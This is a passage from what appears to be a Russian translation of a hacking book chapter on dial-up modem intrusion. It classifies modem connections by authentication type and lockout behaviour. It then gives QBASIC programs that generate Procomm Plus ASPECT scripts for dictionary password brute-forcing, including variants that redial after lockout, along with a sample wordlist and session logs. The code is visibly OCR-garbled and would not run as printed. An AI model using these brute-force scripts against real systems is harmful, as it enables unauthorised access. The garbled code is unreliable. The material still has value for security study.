Первым важным шагом на пути систематизации результатов в целях тестирования является установка соединений с обнаруженными модемами. При этом нужно постараться определить характеристики соединения, чтобы затем суметь сгруппировать соединения в домены для тестирования. Модемное соединение можно определить по нескольким существенным признакам, которые и надо постараться выявить. Приведем общий перечень таких признаков.

  •  Наличие интервала ожидания или порогового числа попыток.
  •  После превышения порогового значения соединение больше не используется.
  •  Соединение доступно только в определенные часы.
  •  Допустимость корректных предположений об уровне аутентификации: т.е. наличие или отсутствие пароля.
  •  Уникальность метода идентификации, в частности по принципу запрос/отклик (например, с использованием идентификаторов защиты (Security ID).
  •  Возможность определения максимального числа символов в отклике или пароле.
  •  Правомочность предположений о наличии специальных или алфавитно-цифровых символов в поле пароля или идентификаторе пользователя.
  •  Возможность получения дополнительной информации при вводе различных стандартных комбинаций клавиш, таких как <Ctrl+C>, <CtrI+Z>, <?> и т.п.
  •  Наличие идентификационных маркеров или их изменение с момента первых попыток проникновения, а также содержащаяся в них информация. Это может оказаться полезным при угадывании недостающей информации или при решении вопросов социальной инженерии.
Получив эту информацию, можно приступать к систематизации соединений в так называемые домены для проникновения по телефонным линиям. Для иллюстрации рассмотрим четыре категории соединений или домена для дальнейшего проникновения. При этом сразу же исключим из рассмотрения так называемый домен ЛДП (легко доступный плод). Остальные домены основаны на различных механизмах аутентификации и ограничении числа попыток доступа к этим механизмам. В целом домены можно классифицировать следующим образом.

1. ЛДП
Легко угадываемые и часто используемые пароли для идентификации (угадать их поможет опыт)
2. Одинарная идентификация, неограниченное число попыток
Системы с одним типом пароля или идентификатора пользователя. Модем не отключается после заданного числа неудачных попыток установки соединения
3. Одинарная идентификация, ограниченное число попыток
Системы с одним типом пароля или идентификатора пользователя. Модем отключается после заданного числа неудачных попыток установки соединения
4. Двойная идентификация, неограниченное число попыток
Системы с двумя типами механизмов аутентификации, например с использованием идентификатора пользователя и пароля. Модем не отключается после заданного числа неудачных попыток установки соединения
5. Двойная идентификация, ограниченное число попыток
Системы с двумя типами механизмов аутентификации, например с использованием идентификатора пользователя и пароля. Модем отключается после заданного числа неудачных попыток установки соединения

В целом чем ниже в списке находится домен, тем сложнее проникнуть в относящуюся к нему систему, и тем более сложные сценарии требуется для этого применять. Рассмотрим эти домены подробнее.

Легко доступный плод


Для проникновения в систему, относящуюся к этому домену, требуется минимум усилий. Если хакер удачлив — его неминуемо ждет успех. Для проникновения в систему не требуется писать никаких сценариев — нужно лишь угадать идентификатор пользователя или пароль. В книге нельзя перечислить все типичные идентификаторы и пароли. Угадать эту информацию поможет опыт и интуиция. Хорошей отправной точкой в этом процессе может послужить идентификация подписи. В табл. 10.3 следующей главы приводится полезный список, с которого можно начать дальнейшие исследования. Однако каким бы списком ни воспользовался читатель, главное — быстро проверить все применяемые по умолчанию варианты и в случае неудачи перейти к следующему типу домена.

Одинарная идентификация, неофаниченное число попыток


Это первый серьезный домен (ЛДП не в счет), который зачастую труднее всего идентифицировать. Дело в том, что многие системы, которые, на первый взгляд, принадлежат этому домену (листинг 9.1 А), после ввода корректного идентификатора требуют повторной аутентификации (листинг 9.1 Б). Пример системы, действительно относящейся к этой категории, приводится в листинге 9.2. Эта система использует один механизм аутентификации и допускает неограниченное число попыток установки соединения.
Листинг 9.1А. Пример системы, которая, на первый взгляд, относится к первому домену, но меняет свое поведение после ввода корректного идентификатора пользователя или пароля

XX-Jul-XX 09:51:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:

Листинг 9.1 Б. Пример изменения поведения системы после ввода корректного идентификатора пользователя или пароля 

XX-Jul-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
@ Userid: lanroverl
Password: xxxxxxxx

В следующем примере система действительно относится к первому домену, поскольку для получения доступа к ней требуется только ввести пароль. Заметим также, что эта система допускает неограниченное число попыток установки соединения. Для проникновения в такую систему нужно запустить сценарий подбора пароля.
Листинг 9.2. Пример поведения системы, действительно относящейся к первому домену

XX-Jul-XX 03:45:08 91ХХХ5551235
С: CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.

Для проникновения в систему, представленную в этом примере, нужно написать сценарий, который выполнялся бы простыми утилитами DOS. Приведенный ниже фрагмент — это не сложная программа, а простой пример сценария, повторяющего попытки регистрации до тех пор, пока не будет исчерпан его словарь. Как уже отмечалось, при написании сценариев для модемных соединений чаще всего применяется программа Procomm Plus со встроенным языком сценариев ASPECT. Система Procomm Plus известна уже в течение многих лет и хорошо зарекомендовала себя при тестировании как на ранних версиях DOS, так и на новейших версиях 32-разрядных операционных систем. Следует отметить также прекрасную справочную систему и документацию по языку ASPECT.
Для начала создадим исходный файл сценария, а затем скомпилируем его в объектный модуль. Полученный модуль протестируем на 10-20 паролях, а затем на большом словаре. Таким образом, сначала создадим файл исходного кода сценария на языке ASPECT. В старых версиях Procomm Plus для исходных файлов сценариев использовалось расширение .ASP, а для объектных файлов — .ASX, а в новых версиях — .WAS и .wsx соответственно. Однако независимо от версии нам предстоит создать сценарий, который будет поддерживать приведенный выше диалог и пользоваться большим словарем паролей.
Написание сценариев — это программирование сравнительно низкого уровня. Их можно писать с помощью любого стандартного редактора. Относительно сложным моментом является включение в сценарий переменной, отвечающей за считывание пароля из словаря. Система Procomm Plus поддерживает включение в сценарий переменных, отвечающих за считывание данных из внешних файлов (например, из словаря) в процессе работы сценария. Однако опыт авторов показывает, что при включении словаря в текст сценария уменьшается число программных переменных и возрастает вероятность успеха.
Поскольку основная задача — написание сценария низкого уровня, основанного на применении ASCII-кодов, для его создания можно воспользоваться языком QBASIC для DOS. В следующем листинге приводится содержимое простого QBASIC-файла, генерирующего сценарий обработки ситуации из предыдущего примера. Назовем этот файл 5551235.ВАЗ (.ВАЗ — стандартное расширение для программ на языке QBASIC). Эту программу можно использовать для создания сценария проникновения в систему, относящуюся к первому домену. Эта программа создает исходный файл сценария на языке ASPECT для Procomm Plus 32 (.WAS). Для полноты сценария необходимо сначала создать элемент соединения 5551235 в соответствующем каталоге Procomm Plus. Элемент соединения обычно содержит все характеристики соединения и позволяет пользователю задать файл журнала. Как будет видно из дальнейшего изложения, наличие журнала очень важно при реализации описываемого подхода.

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS tl
PRINT #2, "proc main"
PRINT #2, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
inS = LTRIM$(in$) + "ЛМ"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + inS + CHR$(34)
LOOP
PRINT #2, "endproc"

Файл словаря может содержать любое количество типичных паролей, например:

apple
applel
apple2
applepie
applepies
applepiesl
applepies2
applicate
applicates
application
applicationl
applonia
applonial

и т.д.
Размер словаря может быть любым, здесь можно проявлять любое творчество. Если известна какая-либо конкретная информация о целевой организации, например имена сотрудников или название местной спортивной команды, то в словарь следует добавить и ее. Главное, создать как можно более эффективный словарь.
Затем нужно взять готовый файл 5551235.WAS, скомпилировать его с использованием компилятором языка ASPECT и запустить на выполнение.

Поскольку сценарий предназначен для подбора паролей, перед началом его выполнения нужно открыть файл журнала регистрации событий. Тогда весь процесс работы сценария будет фиксироваться в файле. Позднее содержимое файла журнала можно проанализировать и определить правильный пароль. На первый взгляд, может показаться, что журнал регистрации вовсе не нужен. Достаточно просто выполнять сценарий до успешной попытки (получения корректного пароля). Однако это невозможно, поскольку заранее нельзя определить, что произойдет после ввода корректного пароля, т.е. нельзя сформулировать условие успешной попытки. Если же известно, к какому результату должен привести ввод корректного пароля, то в файле сценария на языке ASPECT можно использовать условие WAITFOR и задать соответствующее условие. При таком подходе остается меньше шансов для случайностей. Авторы являются сторонниками журналов регистрации. Хотя такие журналы сложно анализировать — их легко создавать. При этом, конечно, предполагается, что дополнительные сведения о соединении отсутствуют. Те, кто работал консультантом по безопасности или аудитором и сотрудничал с людьми, знающими характеристики удаленных соединений своих организаций, могут использовать совсем другие подходы.

Следует упомянуть еще о некоторых особенностях работы сценариев. Наличие шума на линии между ожидаемыми символами может свести на нет всю работу сценария. Поэтому, прежде чем запускать сценарий в действие, желательно несколько раз протестировать его на небольших словарях из 10-20 паролей и удостовериться в его работоспособности.

Одинарная идентификация, ограниченное число попыток


Для проникновения в систему, относящуюся ко второму типу доменов, требуется несколько больше времени, поскольку в сценарий нужно добавить новые элементы. Пример работы такой системы приведен в листинге 9.3. Несложно заметить небольшие отличия в поведении этой и рассмотренной выше системы первого типа. В данном примере после третьей попытки установки соединения появляется сообщение АТНО. Это типичная последовательность символов, означающая разрыв соединения для модемов Hayes. Значит, данное соединение разрывается после трех неудачных попыток аутентификации. Число попыток может варьироваться, однако в этом примере будет показано, как восстановить соединение при его разрыве после X (в данном примере 3-х) неудачных попыток. Для этого нужно добавить небольшой фрагмент кода в рассмотренный выше сценарий. Такой пример содержится в листинге 9.4. Здесь предпринимается три попытки угадать пароль, а затем соединение устанавливается снова и процесс повторяется.
Листинг 9.3. Пример поведения системы, относящейся ко второму типу домена

XX-Jul-XX 03:45:08 91ХХХ5551235 С:CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password:
Invalid Password.
Enter Password:
Invalid Password.
ATHO

(Отметим важную характеристику — последовательность АТНО, свидетельствующую о разрыве соединения модема Hayes.)
Листинг 9.4. Пример программы на языке QBASIC (файл 5551235.BAS)

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial DATA " + CHR$(34)
+ "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ - LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"

Двойная идентификация, неограниченное число попыток


К третьему типу доменов зачастую относятся системы, которые, на первый взгляд, можно принять за системы первого домена. Однако для проникновения в систему третьего домена нужно угадать не только идентификатор пользователя, но и пароль. Поэтому проникновение в такую систему занимает больше времени, чем в системы из рассмотренных выше доменов. Сценарий проникновения в такую систему обычно более сложен, поскольку требует передачи не одной, а двух корректных строк. При этом возможно гораздо больше ошибок. Такой сценарий напоминает рассмотренные выше примеры. Пример поведения системы, относящейся к третьему домену, приведен в листинге 9.5, а программа на языке QBASIC для создания сценария ASPECT — в листинге 9.6.
Листинг 9.5, Пример поведения системы, относящейся к третьему типу домена

XX-Jcl-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Userr.ame: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx

Листинг 9.6. Пример программы на языке QBASIC (файл 5551235.ВАS)

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
PRINT 12, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" '+ CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT tt2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"

Двойная идентификация, ограниченное число попыток


Четвертый домен является развитием третьего. Доя проникновения в систему четвертого домена требуется угадать имя пользователя и пароль при ограниченном числе попыток. После неудачного использования заданного числа попыток требуется восстановить разорванное соединение. Рассмотрим пример работы системы и программу генерации соответствующего сценария. В следующем листинге содержатся результаты атаки целевой системы. 

XX-Jul-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: gues.t
Password: xxxxxxxx
+++

А вот пример QBASIC-программы, генерирующей сценарий на языке ASPECT.

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIMS(in$) + "ЛМ"
PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHRS(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "AM"
PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34) LOOP PRINT #2, "endproc"